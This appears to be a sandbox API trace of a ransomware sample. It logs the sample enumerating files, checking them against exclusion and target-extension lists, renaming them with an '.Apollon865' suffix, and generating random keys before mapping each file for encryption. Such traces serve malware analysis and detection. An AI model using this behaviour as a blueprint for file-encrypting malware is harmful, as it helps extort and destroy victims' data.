	[0066.904] lstrlenW (lpString="xml") returned 3
	[0066.904] lstrcmpiW (lpString1="DPV", lpString2="xml") returned -1
	[0066.904] lstrlenW (lpString="$er") returned 3
	[0066.904] lstrcmpiW (lpString1="DPV", lpString2="$er") returned 1
	[0066.904] lstrlenW (lpString="4dd") returned 3
	[0066.904] lstrcmpiW (lpString1="DPV", lpString2="4dd") returned 1
	[0066.904] lstrlenW (lpString="4dl") returned 3
	[0066.904] lstrcmpiW (lpString1="DPV", lpString2="4dl") returned 1
	[0066.904] lstrlenW (lpString="^^^") returned 3
	[0066.904] lstrcmpiW (lpString1="DPV", lpString2="^^^") returned 1
	[0066.904] lstrlenW (lpString="abs") returned 3
	[0066.904] lstrcmpiW (lpString1="DPV", lpString2="abs") returned 1
	[0066.904] lstrlenW (lpString="abx") returned 3
	[0066.904] lstrcmpiW (lpString1="DPV", lpString2="abx") returned 1
	[0066.904] lstrlenW (lpString="accdb") returned 5
	[0066.904] lstrcmpiW (lpString1="T.DPV", lpString2="accdb") returned 1
	[0066.904] lstrlenW (lpString="accdc") returned 5
	[0066.905] lstrcmpiW (lpString1="T.DPV", lpString2="accdc") returned 1
	[0066.905] lstrlenW (lpString="accde") returned 5
	[0066.905] lstrcmpiW (lpString1="T.DPV", lpString2="accde") returned 1
	[0066.905] lstrlenW (lpString="accdr") returned 5
	[0066.905] lstrcmpiW (lpString1="T.DPV", lpString2="accdr") returned 1
	[0066.905] lstrlenW (lpString="accdt") returned 5
	[0066.905] lstrcmpiW (lpString1="T.DPV", lpString2="accdt") returned 1
	[0066.905] lstrlenW (lpString="accdw") returned 5
	[0066.905] lstrcmpiW (lpString1="T.DPV", lpString2="accdw") returned 1
	[0066.905] lstrlenW (lpString="accft") returned 5
	[0066.905] lstrcmpiW (lpString1="T.DPV", lpString2="accft") returned 1
	[0066.905] lstrlenW (lpString="adb") returned 3
	[0066.905] lstrcmpiW (lpString1="DPV", lpString2="adb") returned 1
	[0066.905] lstrlenW (lpString="adb") returned 3
	[0066.905] lstrcmpiW (lpString1="DPV", lpString2="adb") returned 1
	[0066.905] lstrlenW (lpString="ade") returned 3
	[0066.905] lstrcmpiW (lpString1="DPV", lpString2="ade") returned 1
	[0066.905] lstrlenW (lpString="adf") returned 3
	[0066.905] lstrcmpiW (lpString1="DPV", lpString2="adf") returned 1
	[0066.905] lstrcmpiW (lpString1="DPV", lpString2="adn") returned 1
	[0066.905] lstrcmpiW (lpString1="DPV", lpString2="adp") returned 1
	[0066.905] lstrcmpiW (lpString1="DPV", lpString2="alf") returned 1
	[0066.905] lstrcmpiW (lpString1="DPV", lpString2="ask") returned 1
	[0066.905] lstrcmpiW (lpString1="DPV", lpString2="btr") returned 1
	[0066.906] lstrcmpiW (lpString1="DPV", lpString2="cat") returned 1
	[0066.906] lstrcmpiW (lpString1="DPV", lpString2="cdb") returned 1
	[0066.906] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGATNGET.XML" | out: lpString1="DGATNGET.XML") returned="DGATNGET.XML"
	[0066.906] lstrlenW (lpString="DGATNGET.XML") returned 12
	[0066.906] lstrlenW (lpString="Apollon865") returned 10
	[0066.906] lstrcmpiW (lpString1="ATNGET.XML", lpString2="Apollon865") returned 1
	[0066.906] lstrlenW (lpString=".dll") returned 4
	[0066.906] lstrcmpiW (lpString1="DGATNGET.XML", lpString2=".dll") returned 1
	[0066.906] lstrlenW (lpString=".lnk") returned 4
	[0066.906] lstrcmpiW (lpString1="DGATNGET.XML", lpString2=".lnk") returned 1
	[0066.906] lstrlenW (lpString=".ini") returned 4
	[0066.906] lstrcmpiW (lpString1="DGATNGET.XML", lpString2=".ini") returned 1
	[0066.906] lstrlenW (lpString=".sys") returned 4
	[0066.906] lstrcmpiW (lpString1="DGATNGET.XML", lpString2=".sys") returned 1
	[0066.906] lstrlenW (lpString="DGATNGET.XML") returned 12
	[0066.906] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGATNGET.XML.Apollon865") returned 73
	[0066.906] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGATNGET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgatnget.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGATNGET.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgatnget.xml.apollon865"), dwFlags=0x1) returned 1
	[0066.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGATNGET.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgatnget.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0066.907] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=5210) returned 1
	[0066.907] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x34f0020
	[0066.907] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0066.907] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0066.907] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0066.908] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0066.908] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0066.908] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1760, lpName=0x0) returned 0x100
	[0066.910] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1760) returned 0x100000
	[0066.911] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0066.911] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0066.912] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0066.912] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0066.912] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0066.912] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0066.912] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0066.912] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0066.912] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0066.912] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0066.912] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0066.912] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0066.912] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0066.912] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0066.912] CloseHandle (hObject=0x100) returned 1
	[0066.912] CloseHandle (hObject=0x15c) returned 1
	[0066.912] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0066.912] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0066.912] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x34f0020 | out: hHeap=0x580000) returned 1
	[0066.913] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98487b00, ftCreationTime.dwHighDateTime=0x1c5d95d, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98487b00, ftLastWriteTime.dwHighDateTime=0x1c5d95d, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DGBARBLL.DPV", cAlternateFileName="")) returned 1
	[0066.913] lstrcmpiW (lpString1="DGBARBLL.DPV", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.913] lstrcmpiW (lpString1="DGBARBLL.DPV", lpString2="Apollon865.txt.exe") returned 1
	[0066.913] lstrcmpiW (lpString1="DGBARBLL.DPV", lpString2=".") returned 1
	[0066.913] lstrcmpiW (lpString1="DGBARBLL.DPV", lpString2="..") returned 1
	[0066.913] lstrcmpiW (lpString1="DGBARBLL.DPV", lpString2="windows") returned -1
	[0066.913] lstrcmpiW (lpString1="DGBARBLL.DPV", lpString2="bootmgr") returned 1
	[0066.913] lstrcmpiW (lpString1="DGBARBLL.DPV", lpString2="temp") returned -1
	[0066.913] lstrcmpiW (lpString1="DGBARBLL.DPV", lpString2="pagefile.sys") returned -1
	[0066.913] lstrcmpiW (lpString1="DGBARBLL.DPV", lpString2="boot") returned 1
	[0066.913] lstrcmpiW (lpString1="DGBARBLL.DPV", lpString2="ids.txt") returned -1
	[0066.913] lstrcmpiW (lpString1="DGBARBLL.DPV", lpString2="ntuser.dat") returned -1
	[0066.913] lstrcmpiW (lpString1="DGBARBLL.DPV", lpString2="perflogs") returned -1
	[0066.913] lstrcmpiW (lpString1="DGBARBLL.DPV", lpString2="MSBuild") returned -1
	[0066.913] lstrlenW (lpString="DGBARBLL.DPV") returned 12
	[0066.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGATNGET.XML") returned 62
	[0066.913] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGBARBLL.DPV" | out: lpString1="DGBARBLL.DPV") returned="DGBARBLL.DPV"
	[0066.913] lstrlenW (lpString="DGBARBLL.DPV") returned 12
	[0066.913] lstrlenW (lpString="Apollon865") returned 10
	[0066.913] lstrcmpiW (lpString1="BARBLL.DPV", lpString2="Apollon865") returned 1
	[0066.913] lstrlenW (lpString=".dll") returned 4
	[0066.913] lstrcmpiW (lpString1="DGBARBLL.DPV", lpString2=".dll") returned 1
	[0066.913] lstrlenW (lpString=".lnk") returned 4
	[0066.913] lstrcmpiW (lpString1="DGBARBLL.DPV", lpString2=".lnk") returned 1
	[0066.913] lstrlenW (lpString=".ini") returned 4
	[0066.913] lstrcmpiW (lpString1="DGBARBLL.DPV", lpString2=".ini") returned 1
	[0066.913] lstrlenW (lpString=".sys") returned 4
	[0066.913] lstrcmpiW (lpString1="DGBARBLL.DPV", lpString2=".sys") returned 1
	[0066.913] lstrlenW (lpString="DGBARBLL.DPV") returned 12
	[0066.914] lstrlenW (lpString="bak") returned 3
	[0066.914] lstrcmpiW (lpString1="DPV", lpString2="bak") returned 1
	[0066.914] lstrlenW (lpString="ba_") returned 3
	[0066.914] lstrcmpiW (lpString1="DPV", lpString2="ba_") returned 1
	[0066.914] lstrlenW (lpString="dbb") returned 3
	[0066.914] lstrcmpiW (lpString1="DPV", lpString2="dbb") returned 1
	[0066.914] lstrlenW (lpString="vmdk") returned 4
	[0066.914] lstrcmpiW (lpString1=".DPV", lpString2="vmdk") returned -1
	[0066.914] lstrlenW (lpString="rar") returned 3
	[0066.914] lstrcmpiW (lpString1="DPV", lpString2="rar") returned -1
	[0066.914] lstrlenW (lpString="zip") returned 3
	[0066.914] lstrcmpiW (lpString1="DPV", lpString2="zip") returned -1
	[0066.914] lstrlenW (lpString="tgz") returned 3
	[0066.914] lstrcmpiW (lpString1="DPV", lpString2="tgz") returned -1
	[0066.914] lstrlenW (lpString="vbox") returned 4
	[0066.914] lstrcmpiW (lpString1=".DPV", lpString2="vbox") returned -1
	[0066.914] lstrlenW (lpString="vdi") returned 3
	[0066.914] lstrcmpiW (lpString1="DPV", lpString2="vdi") returned -1
	[0066.914] lstrlenW (lpString="vhd") returned 3
	[0066.914] lstrcmpiW (lpString1="DPV", lpString2="vhd") returned -1
	[0066.914] lstrlenW (lpString="vhdx") returned 4
	[0066.914] lstrcmpiW (lpString1=".DPV", lpString2="vhdx") returned -1
	[0066.914] lstrlenW (lpString="avhd") returned 4
	[0066.914] lstrcmpiW (lpString1=".DPV", lpString2="avhd") returned -1
	[0066.914] lstrlenW (lpString="db") returned 2
	[0066.914] lstrcmpiW (lpString1="PV", lpString2="db") returned 1
	[0066.914] lstrlenW (lpString="db2") returned 3
	[0066.914] lstrcmpiW (lpString1="DPV", lpString2="db2") returned 1
	[0066.914] lstrlenW (lpString="db3") returned 3
	[0066.914] lstrcmpiW (lpString1="DPV", lpString2="db3") returned 1
	[0066.914] lstrlenW (lpString="dbf") returned 3
	[0066.914] lstrcmpiW (lpString1="DPV", lpString2="dbf") returned 1
	[0066.914] lstrlenW (lpString="mdf") returned 3
	[0066.914] lstrcmpiW (lpString1="DPV", lpString2="mdf") returned -1
	[0066.914] lstrlenW (lpString="mdb") returned 3
	[0066.914] lstrcmpiW (lpString1="DPV", lpString2="mdb") returned -1
	[0066.915] lstrlenW (lpString="sql") returned 3
	[0066.915] lstrcmpiW (lpString1="DPV", lpString2="sql") returned -1
	[0066.915] lstrlenW (lpString="sqlite") returned 6
	[0066.915] lstrcmpiW (lpString1="LL.DPV", lpString2="sqlite") returned -1
	[0066.915] lstrlenW (lpString="sqlite3") returned 7
	[0066.915] lstrcmpiW (lpString1="BLL.DPV", lpString2="sqlite3") returned -1
	[0066.915] lstrlenW (lpString="sqlitedb") returned 8
	[0066.915] lstrcmpiW (lpString1="RBLL.DPV", lpString2="sqlitedb") returned -1
	[0066.915] lstrlenW (lpString="xml") returned 3
	[0066.915] lstrcmpiW (lpString1="DPV", lpString2="xml") returned -1
	[0066.915] lstrlenW (lpString="$er") returned 3
	[0066.915] lstrcmpiW (lpString1="DPV", lpString2="$er") returned 1
	[0066.915] lstrlenW (lpString="4dd") returned 3
	[0066.915] lstrcmpiW (lpString1="DPV", lpString2="4dd") returned 1
	[0066.915] lstrlenW (lpString="4dl") returned 3
	[0066.915] lstrcmpiW (lpString1="DPV", lpString2="4dl") returned 1
	[0066.915] lstrlenW (lpString="^^^") returned 3
	[0066.915] lstrcmpiW (lpString1="DPV", lpString2="^^^") returned 1
	[0066.915] lstrlenW (lpString="abs") returned 3
	[0066.915] lstrcmpiW (lpString1="DPV", lpString2="abs") returned 1
	[0066.915] lstrlenW (lpString="abx") returned 3
	[0066.915] lstrcmpiW (lpString1="DPV", lpString2="abx") returned 1
	[0066.915] lstrlenW (lpString="accdb") returned 5
	[0066.915] lstrcmpiW (lpString1="L.DPV", lpString2="accdb") returned 1
	[0066.915] lstrlenW (lpString="accdc") returned 5
	[0066.915] lstrcmpiW (lpString1="L.DPV", lpString2="accdc") returned 1
	[0066.915] lstrlenW (lpString="accde") returned 5
	[0066.915] lstrcmpiW (lpString1="L.DPV", lpString2="accde") returned 1
	[0066.915] lstrlenW (lpString="accdr") returned 5
	[0066.915] lstrcmpiW (lpString1="L.DPV", lpString2="accdr") returned 1
	[0066.915] lstrlenW (lpString="accdt") returned 5
	[0066.915] lstrcmpiW (lpString1="L.DPV", lpString2="accdt") returned 1
	[0066.915] lstrlenW (lpString="accdw") returned 5
	[0066.915] lstrcmpiW (lpString1="L.DPV", lpString2="accdw") returned 1
	[0066.915] lstrlenW (lpString="accft") returned 5
	[0066.915] lstrcmpiW (lpString1="L.DPV", lpString2="accft") returned 1
	[0066.915] lstrlenW (lpString="adb") returned 3
	[0066.915] lstrcmpiW (lpString1="DPV", lpString2="adb") returned 1
	[0066.916] lstrlenW (lpString="adb") returned 3
	[0066.916] lstrcmpiW (lpString1="DPV", lpString2="adb") returned 1
	[0066.916] lstrlenW (lpString="ade") returned 3
	[0066.916] lstrcmpiW (lpString1="DPV", lpString2="ade") returned 1
	[0066.916] lstrlenW (lpString="adf") returned 3
	[0066.916] lstrcmpiW (lpString1="DPV", lpString2="adf") returned 1
	[0066.916] lstrlenW (lpString="adn") returned 3
	[0066.916] lstrcmpiW (lpString1="DPV", lpString2="adn") returned 1
	[0066.916] lstrlenW (lpString="adp") returned 3
	[0066.916] lstrcmpiW (lpString1="DPV", lpString2="adp") returned 1
	[0066.916] lstrlenW (lpString="alf") returned 3
	[0066.916] lstrcmpiW (lpString1="DPV", lpString2="alf") returned 1
	[0066.916] lstrlenW (lpString="ask") returned 3
	[0066.916] lstrcmpiW (lpString1="DPV", lpString2="ask") returned 1
	[0066.916] lstrlenW (lpString="btr") returned 3
	[0066.916] lstrcmpiW (lpString1="DPV", lpString2="btr") returned 1
	[0066.916] lstrlenW (lpString="cat") returned 3
	[0066.916] lstrcmpiW (lpString1="DPV", lpString2="cat") returned 1
	[0066.916] lstrlenW (lpString="cdb") returned 3
	[0066.916] lstrcmpiW (lpString1="DPV", lpString2="cdb") returned 1
	[0066.916] lstrlenW (lpString="ckp") returned 3
	[0066.916] lstrcmpiW (lpString1="DPV", lpString2="ckp") returned 1
	[0066.916] lstrlenW (lpString="cma") returned 3
	[0066.916] lstrcmpiW (lpString1="DPV", lpString2="cma") returned 1
	[0066.916] lstrlenW (lpString="cpd") returned 3
	[0066.916] lstrcmpiW (lpString1="DPV", lpString2="cpd") returned 1
	[0066.916] lstrlenW (lpString="dacpac") returned 6
	[0066.916] lstrcmpiW (lpString1="LL.DPV", lpString2="dacpac") returned 1
	[0066.916] lstrlenW (lpString="dad") returned 3
	[0066.916] lstrcmpiW (lpString1="DPV", lpString2="dad") returned 1
	[0066.916] lstrlenW (lpString="dadiagrams") returned 10
	[0066.916] lstrcmpiW (lpString1="BARBLL.DPV", lpString2="dadiagrams") returned -1
	[0066.916] lstrlenW (lpString="daschema") returned 8
	[0066.916] lstrcmpiW (lpString1="RBLL.DPV", lpString2="daschema") returned 1
	[0066.916] lstrlenW (lpString="db-journal") returned 10
	[0066.916] lstrcmpiW (lpString1="BARBLL.DPV", lpString2="db-journal") returned -1
	[0066.916] lstrlenW (lpString="db-shm") returned 6
	[0066.916] lstrcmpiW (lpString1="LL.DPV", lpString2="db-shm") returned 1
	[0066.917] lstrlenW (lpString="db-wal") returned 6
	[0066.917] lstrcmpiW (lpString1="LL.DPV", lpString2="db-wal") returned 1
	[0066.917] lstrlenW (lpString="dbc") returned 3
	[0066.917] lstrcmpiW (lpString1="DPV", lpString2="dbc") returned 1
	[0066.917] lstrlenW (lpString="dbs") returned 3
	[0066.917] lstrcmpiW (lpString1="DPV", lpString2="dbs") returned 1
	[0066.917] lstrlenW (lpString="dbt") returned 3
	[0066.917] lstrcmpiW (lpString1="DPV", lpString2="dbt") returned 1
	[0066.917] lstrlenW (lpString="dbv") returned 3
	[0066.917] lstrcmpiW (lpString1="DPV", lpString2="dbv") returned 1
	[0066.917] lstrlenW (lpString="dbx") returned 3
	[0066.917] lstrcmpiW (lpString1="DPV", lpString2="dbx") returned 1
	[0066.917] lstrlenW (lpString="dcb") returned 3
	[0066.917] lstrcmpiW (lpString1="DPV", lpString2="dcb") returned 1
	[0066.917] lstrlenW (lpString="dct") returned 3
	[0066.917] lstrcmpiW (lpString1="DPV", lpString2="dct") returned 1
	[0066.917] lstrlenW (lpString="dcx") returned 3
	[0066.917] lstrcmpiW (lpString1="DPV", lpString2="dcx") returned 1
	[0066.917] lstrlenW (lpString="ddl") returned 3
	[0066.917] lstrcmpiW (lpString1="DPV", lpString2="ddl") returned 1
	[0066.917] lstrlenW (lpString="dlis") returned 4
	[0066.917] lstrcmpiW (lpString1=".DPV", lpString2="dlis") returned -1
	[0066.917] lstrlenW (lpString="dp1") returned 3
	[0066.917] lstrcmpiW (lpString1="DPV", lpString2="dp1") returned 1
	[0066.917] lstrlenW (lpString="dqy") returned 3
	[0066.917] lstrcmpiW (lpString1="DPV", lpString2="dqy") returned -1
	[0066.917] lstrlenW (lpString="dsk") returned 3
	[0066.917] lstrcmpiW (lpString1="DPV", lpString2="dsk") returned -1
	[0066.917] lstrlenW (lpString="dsn") returned 3
	[0066.917] lstrcmpiW (lpString1="DPV", lpString2="dsn") returned -1
	[0066.917] lstrlenW (lpString="dtsx") returned 4
	[0066.917] lstrcmpiW (lpString1=".DPV", lpString2="dtsx") returned -1
	[0066.917] lstrlenW (lpString="dxl") returned 3
	[0066.917] lstrcmpiW (lpString1="DPV", lpString2="dxl") returned -1
	[0066.917] lstrlenW (lpString="eco") returned 3
	[0066.917] lstrcmpiW (lpString1="DPV", lpString2="eco") returned -1
	[0066.918] lstrlenW (lpString="ecx") returned 3
	[0066.918] lstrcmpiW (lpString1="DPV", lpString2="ecx") returned -1
	[0066.918] lstrlenW (lpString="edb") returned 3
	[0066.918] lstrcmpiW (lpString1="DPV", lpString2="edb") returned -1
	[0066.918] lstrlenW (lpString="epim") returned 4
	[0066.918] lstrcmpiW (lpString1=".DPV", lpString2="epim") returned -1
	[0066.918] lstrlenW (lpString="fcd") returned 3
	[0066.918] lstrcmpiW (lpString1="DPV", lpString2="fcd") returned -1
	[0066.918] lstrlenW (lpString="fdb") returned 3
	[0066.918] lstrcmpiW (lpString1="DPV", lpString2="fdb") returned -1
	[0066.918] lstrlenW (lpString="fic") returned 3
	[0066.918] lstrcmpiW (lpString1="DPV", lpString2="fic") returned -1
	[0066.918] lstrlenW (lpString="flexolibrary") returned 12
	[0066.918] lstrlenW (lpString="fm5") returned 3
	[0066.918] lstrcmpiW (lpString1="DPV", lpString2="fm5") returned -1
	[0066.918] lstrlenW (lpString="fmp") returned 3
	[0066.918] lstrcmpiW (lpString1="DPV", lpString2="fmp") returned -1
	[0066.918] lstrlenW (lpString="fmp12") returned 5
	[0066.918] lstrcmpiW (lpString1="L.DPV", lpString2="fmp12") returned 1
	[0066.918] lstrlenW (lpString="fmpsl") returned 5
	[0066.918] lstrcmpiW (lpString1="L.DPV", lpString2="fmpsl") returned 1
	[0066.918] lstrlenW (lpString="fol") returned 3
	[0066.918] lstrcmpiW (lpString1="DPV", lpString2="fol") returned -1
	[0066.918] lstrlenW (lpString="fp3") returned 3
	[0066.918] lstrcmpiW (lpString1="DPV", lpString2="fp3") returned -1
	[0066.918] lstrlenW (lpString="fp4") returned 3
	[0066.918] lstrcmpiW (lpString1="DPV", lpString2="fp4") returned -1
	[0066.918] lstrlenW (lpString="fp5") returned 3
	[0066.918] lstrcmpiW (lpString1="DPV", lpString2="fp5") returned -1
	[0066.918] lstrlenW (lpString="fp7") returned 3
	[0066.918] lstrcmpiW (lpString1="DPV", lpString2="fp7") returned -1
	[0066.918] lstrlenW (lpString="fpt") returned 3
	[0066.918] lstrcmpiW (lpString1="DPV", lpString2="fpt") returned -1
	[0066.918] lstrlenW (lpString="frm") returned 3
	[0066.918] lstrcmpiW (lpString1="DPV", lpString2="frm") returned -1
	[0066.918] lstrlenW (lpString="gdb") returned 3
	[0066.918] lstrcmpiW (lpString1="DPV", lpString2="gdb") returned -1
	[0066.919] lstrlenW (lpString="gdb") returned 3
	[0066.919] lstrcmpiW (lpString1="DPV", lpString2="gdb") returned -1
	[0066.919] lstrlenW (lpString="grdb") returned 4
	[0066.919] lstrcmpiW (lpString1=".DPV", lpString2="grdb") returned -1
	[0066.919] lstrlenW (lpString="gwi") returned 3
	[0066.919] lstrcmpiW (lpString1="DPV", lpString2="gwi") returned -1
	[0066.919] lstrlenW (lpString="hdb") returned 3
	[0066.919] lstrcmpiW (lpString1="DPV", lpString2="hdb") returned -1
	[0066.919] lstrlenW (lpString="his") returned 3
	[0066.919] lstrcmpiW (lpString1="DPV", lpString2="his") returned -1
	[0066.919] lstrlenW (lpString="ib") returned 2
	[0066.919] lstrcmpiW (lpString1="PV", lpString2="ib") returned 1
	[0066.919] lstrlenW (lpString="idb") returned 3
	[0066.919] lstrcmpiW (lpString1="DPV", lpString2="idb") returned -1
	[0066.919] lstrlenW (lpString="ihx") returned 3
	[0066.919] lstrcmpiW (lpString1="DPV", lpString2="ihx") returned -1
	[0066.919] lstrlenW (lpString="itdb") returned 4
	[0066.919] lstrcmpiW (lpString1=".DPV", lpString2="itdb") returned -1
	[0066.919] lstrlenW (lpString="itw") returned 3
	[0066.919] lstrcmpiW (lpString1="DPV", lpString2="itw") returned -1
	[0066.919] lstrlenW (lpString="jet") returned 3
	[0066.919] lstrcmpiW (lpString1="DPV", lpString2="jet") returned -1
	[0066.919] lstrlenW (lpString="jtx") returned 3
	[0066.919] lstrcmpiW (lpString1="DPV", lpString2="jtx") returned -1
	[0066.919] lstrlenW (lpString="kdb") returned 3
	[0066.919] lstrcmpiW (lpString1="DPV", lpString2="kdb") returned -1
	[0066.919] lstrlenW (lpString="kexi") returned 4
	[0066.919] lstrcmpiW (lpString1=".DPV", lpString2="kexi") returned -1
	[0066.919] lstrlenW (lpString="kexic") returned 5
	[0066.919] lstrcmpiW (lpString1="L.DPV", lpString2="kexic") returned 1
	[0066.919] lstrlenW (lpString="kexis") returned 5
	[0066.919] lstrcmpiW (lpString1="L.DPV", lpString2="kexis") returned 1
	[0066.919] lstrlenW (lpString="lgc") returned 3
	[0066.919] lstrcmpiW (lpString1="DPV", lpString2="lgc") returned -1
	[0066.919] lstrlenW (lpString="lwx") returned 3
	[0066.919] lstrcmpiW (lpString1="DPV", lpString2="lwx") returned -1
	[0066.920] lstrlenW (lpString="maf") returned 3
	[0066.920] lstrcmpiW (lpString1="DPV", lpString2="maf") returned -1
	[0066.920] lstrlenW (lpString="maq") returned 3
	[0066.920] lstrcmpiW (lpString1="DPV", lpString2="maq") returned -1
	[0066.920] lstrlenW (lpString="mar") returned 3
	[0066.920] lstrcmpiW (lpString1="DPV", lpString2="mar") returned -1
	[0066.920] lstrlenW (lpString="marshal") returned 7
	[0066.920] lstrcmpiW (lpString1="BLL.DPV", lpString2="marshal") returned -1
	[0066.920] lstrlenW (lpString="mas") returned 3
	[0066.920] lstrcmpiW (lpString1="DPV", lpString2="mas") returned -1
	[0066.920] lstrlenW (lpString="mav") returned 3
	[0066.920] lstrcmpiW (lpString1="DPV", lpString2="mav") returned -1
	[0066.920] lstrlenW (lpString="maw") returned 3
	[0066.920] lstrcmpiW (lpString1="DPV", lpString2="maw") returned -1
	[0066.920] lstrlenW (lpString="mdbhtml") returned 7
	[0066.920] lstrcmpiW (lpString1="BLL.DPV", lpString2="mdbhtml") returned -1
	[0066.920] lstrlenW (lpString="mdn") returned 3
	[0066.920] lstrcmpiW (lpString1="DPV", lpString2="mdn") returned -1
	[0066.920] lstrlenW (lpString="mdt") returned 3
	[0066.920] lstrcmpiW (lpString1="DPV", lpString2="mdt") returned -1
	[0066.920] lstrlenW (lpString="mfd") returned 3
	[0066.920] lstrcmpiW (lpString1="DPV", lpString2="mfd") returned -1
	[0066.920] lstrlenW (lpString="mpd") returned 3
	[0066.920] lstrcmpiW (lpString1="DPV", lpString2="mpd") returned -1
	[0066.920] lstrlenW (lpString="mrg") returned 3
	[0066.920] lstrcmpiW (lpString1="DPV", lpString2="mrg") returned -1
	[0066.920] lstrlenW (lpString="mud") returned 3
	[0066.920] lstrcmpiW (lpString1="DPV", lpString2="mud") returned -1
	[0066.920] lstrlenW (lpString="mwb") returned 3
	[0066.920] lstrcmpiW (lpString1="DPV", lpString2="mwb") returned -1
	[0066.920] lstrlenW (lpString="myd") returned 3
	[0066.920] lstrcmpiW (lpString1="DPV", lpString2="myd") returned -1
	[0066.920] lstrlenW (lpString="ndf") returned 3
	[0066.920] lstrcmpiW (lpString1="DPV", lpString2="ndf") returned -1
	[0066.920] lstrlenW (lpString="nnt") returned 3
	[0066.920] lstrcmpiW (lpString1="DPV", lpString2="nnt") returned -1
	[0066.920] lstrlenW (lpString="nrmlib") returned 6
	[0066.921] lstrcmpiW (lpString1="LL.DPV", lpString2="nrmlib") returned -1
	[0066.921] lstrlenW (lpString="ns2") returned 3
	[0066.921] lstrcmpiW (lpString1="DPV", lpString2="ns2") returned -1
	[0066.921] lstrlenW (lpString="ns3") returned 3
	[0066.921] lstrcmpiW (lpString1="DPV", lpString2="ns3") returned -1
	[0066.921] lstrlenW (lpString="ns4") returned 3
	[0066.921] lstrcmpiW (lpString1="DPV", lpString2="ns4") returned -1
	[0066.921] lstrlenW (lpString="nsf") returned 3
	[0066.921] lstrcmpiW (lpString1="DPV", lpString2="nsf") returned -1
	[0066.921] lstrlenW (lpString="nv") returned 2
	[0066.921] lstrcmpiW (lpString1="PV", lpString2="nv") returned 1
	[0066.921] lstrlenW (lpString="nv2") returned 3
	[0066.921] lstrcmpiW (lpString1="DPV", lpString2="nv2") returned -1
	[0066.921] lstrlenW (lpString="nwdb") returned 4
	[0066.921] lstrcmpiW (lpString1=".DPV", lpString2="nwdb") returned -1
	[0066.921] lstrlenW (lpString="nyf") returned 3
	[0066.921] lstrcmpiW (lpString1="DPV", lpString2="nyf") returned -1
